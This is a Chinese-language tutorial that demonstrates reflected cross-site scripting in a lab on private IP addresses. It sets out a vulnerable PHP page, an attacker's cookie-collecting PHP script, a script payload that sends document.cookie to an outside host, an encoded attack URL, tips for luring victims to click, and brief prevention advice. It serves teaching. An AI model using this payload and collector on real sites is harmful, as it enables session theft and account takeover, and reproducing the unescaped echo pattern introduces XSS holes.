大多數人對於XSS的原理有一個基本認識,這裏不再重複,只給出一個能夠演示其原理的完整樣例。
1 角色分配
- 有XXS漏洞的網站,IP地址172.16.35.135,PHP爲開發語言
- 受害訪問者,IP地址172.16.35.220,瀏覽器爲IE11
- 黑客的數據接收網站,IP地址172.16.2.192,PHP爲開發語言
2 源碼實例
2.1 漏洞網站
存在漏洞的URL爲:http://172.16.35.135/xss_demo.PHP
- <?php
- session_start();
- ?>
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:300px;" type="text" name="address1" value="<?php echo $_GET["address1"]; ?>" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
該網頁把用戶通過GET發送過來的表單數據,未經處理直接寫入返回的html流,這就是XSS漏洞所在。
2.2 黑客接收網站
接收網站的URL爲http://172.16.2.192/xss_hacker.php
- <?php
- $victim = 'XXS得到的 cookie:'. $_SERVER['REMOTE_ADDR']. ':' .$_GET['cookie'];
- file_put_contents('xss_victim.txt', $victim);
把受害用戶的IP地址和訪問漏洞網站時使用的cookie,一起寫入xss_victim.txt文件保存備用。
2.3 用戶正常訪問
用戶使用IE11訪問網站。現在網站一般都採用session+cookie來保存用戶登錄信息,網站通過驗證cookie來確實是否是合法已登錄用戶,所以cookie是用戶的敏感數據.
3 攻擊過程
3.1 黑客準備攻擊字符串,構造攻擊URL
黑客可以通過各種掃描工具或者人工輸入來找到有XSS漏洞的網站URL,然後精心構造攻擊字符串。對於本例來說構造出來的字符串爲:
- "/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--
只要把這個字符串作爲漏洞網站文本編輯框的表單值輸入提交,就會造成攻擊。手工輸入這個字符串,並提交,瀏覽器地址欄自動生成攻擊URL。如下圖:
此時,用戶訪問漏洞網站的html代碼,被修改成了:
- <!doctype html>
- <html>
- <head>
- <title>XSS demo</title>
- </head>
- <body>
- <form>
- <input style="width:500px;" type="text" name="address1" value=""/> <script>window.open("http://172.16.2.192/xss_hacker.php?cookie="+document.cookie);</script><!--" />
- <input type="submit" value="Submit" />
- </form>
- </body>
- </html>
明顯看出,這個html回去執行一個腳本,這個腳本功能是把用戶的cookie發送到黑客的接收網站。
最終生成的攻擊URL爲:
- http://172.16.35.135/xss_demo.php?address1=%22%2F%3E+%3Cscript%3Ewindow.open%28%22http%3A%2F%2F172.16.2.192%2Fxss_hacker.php%3Fcookie%3D%22%2Bdocument.cookie%29%3B%3C%2Fscript%3E%3C%21--
接下來要做的就是,尋找受害人,誘惑其點擊上述URL。
3.2 用戶上當誤點擊攻擊URL
黑客可以採取各種手段,包括髮Email,在各種論壇網站發佈此攻擊URL,如做成如下誘人連接。
屌絲們最喜歡美女了,在好奇心的驅動下,點擊了這個美女圖片。而點擊的後果正是訪問前面的攻擊URL。
3.3 用戶敏感數據被髮送到黑客接收網站
受害用戶訪問攻擊URL後,其敏感數據自動發送到黑客的接收網站。接收網站把這些敏感信息保存到文件中,當然現實的情況一定是存入數據庫中了。
xss_victim.txt中現在保存了受害者的敏感數據。
- XXS得到的 cookie:172.16.35.220:PHPSESSID=4duu55hgci1leee4os6101cl30
注意,默認IE11開啓了XSS篩選器,此時IE會阻止上述簡單攻擊腳本。爲模擬攻擊,我們臨時把XSS篩選器禁用。
3.4 黑客利用敏感數據做壞事
有了受害用戶的敏感數據,就可以利用這些數據做各種壞事了,比如以受害用戶身份登錄漏洞網站,等等。
4 XSS的預防
XSS的預防可以從多方面着手:
(1)如前面所述,瀏覽器自身可以識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;
(2)從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字符等手段,始終把安全放在心上;
(3)對於普通網民,需要注意儘量抵擋誘惑,別去點擊非知名網站的鏈接。